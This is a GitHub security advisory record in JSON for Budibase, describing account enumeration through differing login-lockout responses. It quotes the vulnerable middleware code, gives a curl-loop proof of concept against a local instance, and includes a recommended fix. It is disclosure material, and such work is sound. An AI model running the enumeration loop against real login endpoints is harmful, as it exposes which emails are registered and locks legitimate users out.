{"id":"GHSA-cr7p-cr3q-h5cm","summary":" Budibase: Account Enumeration via Login Lockout Response Differential","details":"## Summary\n\nThe login lockout mechanism in Budibase creates an observable response discrepancy that allows unauthenticated attackers to enumerate valid email addresses. When an existing user's account is locked after 5 failed login attempts, the server returns a distinct `403` response with `X-Account-Locked: 1` and `Retry-After: 900` headers plus the message \"Account temporarily locked.\" For non-existing users, the response is always a generic `403 \"Unauthorized\"` regardless of attempt count, because the lockout counter is never incremented.\n\n## Details\n\nThe vulnerability exists in two files that implement the login lockout feature:\n\n**`packages/worker/src/middleware/lockout.ts:18-36`** — The lockout middleware only blocks requests for users that exist in the database AND are locked:\n\n```typescript\nexport default async (ctx: Ctx, next: Next) =\u003e {\n  const email = ctx.request.body.username\n  if (!email) {\n    return await next()\n  }\n  const dbUser = await userSdk.db.getUserByEmail(email)\n  if (dbUser && (await isLocked(email))) {  // line 26: non-existing users skip this entirely\n    ctx.set(\"X-Account-Locked\", \"1\")\n    ctx.set(\"Retry-After\", String(env.LOGIN_LOCKOUT_SECONDS))\n    ctx.throw(403, \"Account temporarily locked. Try again later.\")\n  }\n  return await next()\n}\n```\n\n**`packages/worker/src/api/controllers/global/auth.ts:127-141`** — The login handler only increments the failure counter for existing users:\n\n```typescript\nif (err || !user) {\n  if (dbUser) {          // line 129: non-existing users never trigger onFailed()\n    await onFailed(email)\n  }\n  if (await isLocked(email)) {\n    return handleLockoutResponse(ctx, email)\n  }\n  // ...\n  return passportCallback(ctx, user as any, err, info)\n}\n```\n\n**Execution flow for existing users (after 5 failed attempts):**\n1. `lockout` middleware → `getUserByEmail` returns user → `isLocked` returns true → 403 + `X-Account-Locked: 1` + `Retry-After: 900` + \"Account temporarily locked\"\n\n**Execution flow for non-existing users (any number of attempts):**\n1. `lockout` middleware → `getUserByEmail` returns null → `dbUser && isLocked` is false → passes through\n2. Login handler → passport fails → `if (dbUser)` is false → `onFailed()` never called → lock never set\n3. Always returns 403 \"Unauthorized\"\n\nNo IP-based rate limiting exists on the login endpoint (`POST /api/global/auth/:tenantId/login`). The route is registered via `loggedInRoutes` which applies no authentication middleware. The password reset endpoint has proper IP-based rate limiting, but the login endpoint does not.\n\n## PoC\n\n```bash\n# Test against a known-existing email and a non-existing email\n# Replace 'default' with the target tenant ID\n\n# Step 1: Send 6 login attempts for an existing user\necho \"=== Testing existing user ===\"\nfor i in $(seq 1 6); do\n  echo \"--- Attempt $i ---\"\n  curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"local@budibase.com\",\"password\":\"wrongpassword\"}' 2\u003e&1 \\\n    | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'\n  echo \"\"\ndone\n\n# Expected: Attempts 1-5 return \"Unauthorized\"\n# Attempt 6 returns: \"Account temporarily locked\" + X-Account-Locked: 1 + Retry-After: 900\n\n# Step 2: Send 6 login attempts for a non-existing user\necho \"=== Testing non-existing user ===\"\nfor i in $(seq 1 6); do\n  echo \"--- Attempt $i ---\"\n  curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"nonexistent@example.com\",\"password\":\"wrongpassword\"}' 2\u003e&1 \\\n    | grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'\n  echo \"\"\ndone\n\n# Expected: All 6 attempts return \"Unauthorized\" — no lockout ever triggers\n\n# The difference in behavior after 5 attempts confirms whether the email exists.\n```\n\n## Impact\n\n- **Account enumeration**: An unauthenticated attacker can determine whether any email address is registered on a Budibase tenant by sending 5-6 login requests and observing whether the response changes to \"Account temporarily locked\" with the `X-Account-Locked` header.\n- **No rate limiting**: The login endpoint has no IP-based rate limiting, allowing an attacker to enumerate emails at high speed from a single IP address (~5 requests per email).\n- **Denial of service side-effect**: Each enumerated existing email is locked out for 15 minutes (900 seconds), preventing legitimate users from logging in during that window.\n- **Enables further attacks**: Confirmed valid emails can be used for targeted phishing, credential stuffing against other services, or social engineering.\n\n## Recommended Fix\n\nThe lockout behavior should be identical regardless of whether the user exists. Apply lockout tracking based on the email string itself, not conditioned on database user existence:\n\n**`packages/worker/src/middleware/lockout.ts`** — Remove the `dbUser` check:\n\n```typescript\nexport default async (ctx: Ctx, next: Next) =\u003e {\n  const email = ctx.request.body.username\n  if (!email) {\n    return await next()\n  }\n  // Check lock status based on email alone, not user existence\n  if (await isLocked(email)) {\n    ctx.set(\"X-Account-Locked\", \"1\")\n    ctx.set(\"Retry-After\", String(env.LOGIN_LOCKOUT_SECONDS))\n    ctx.throw(403, \"Account temporarily locked. Try again later.\")\n  }\n  return await next()\n}\n```\n\n**`packages/worker/src/api/controllers/global/auth.ts`** — Remove the `dbUser` guard around `onFailed`:\n\n```typescript\nif (err || !user) {\n  // Always increment failure counter regardless of user existence\n  await onFailed(email)\n  if (await isLocked(email)) {\n    return handleLockoutResponse(ctx, email)\n  }\n  // ...\n}\n```\n\nAdditionally, consider adding IP-based rate limiting to the login endpoint (similar to what already exists on the password reset endpoint) to limit enumeration throughput.","aliases":["CVE-2026-73306"],"modified":"2026-08-12T19:11:12.713972Z","published":"2026-07-24T21:43:11Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-07-24T21:43:11Z","nvd_published_at":null,"cwe_ids":["CWE-204"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/Budibase/budibase/security/advisories/GHSA-cr7p-cr3q-h5cm"},{"type":"WEB","url":"https://github.com/Budibase/budibase/pull/19108"},{"type":"WEB","url":"https://github.com/Budibase/budibase/commit/eaae816ab81615c07eb10e4619af078d00e2a706"},{"type":"PACKAGE","url":"https://github.com/Budibase/budibase"},{"type":"WEB","url":"https://github.com/Budibase/budibase/releases/tag/3.39.25"}],"affected":[{"package":{"name":"@budibase/server","ecosystem":"npm","purl":"pkg:npm/%40budibase/server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.38.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-cr7p-cr3q-h5cm/GHSA-cr7p-cr3q-h5cm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}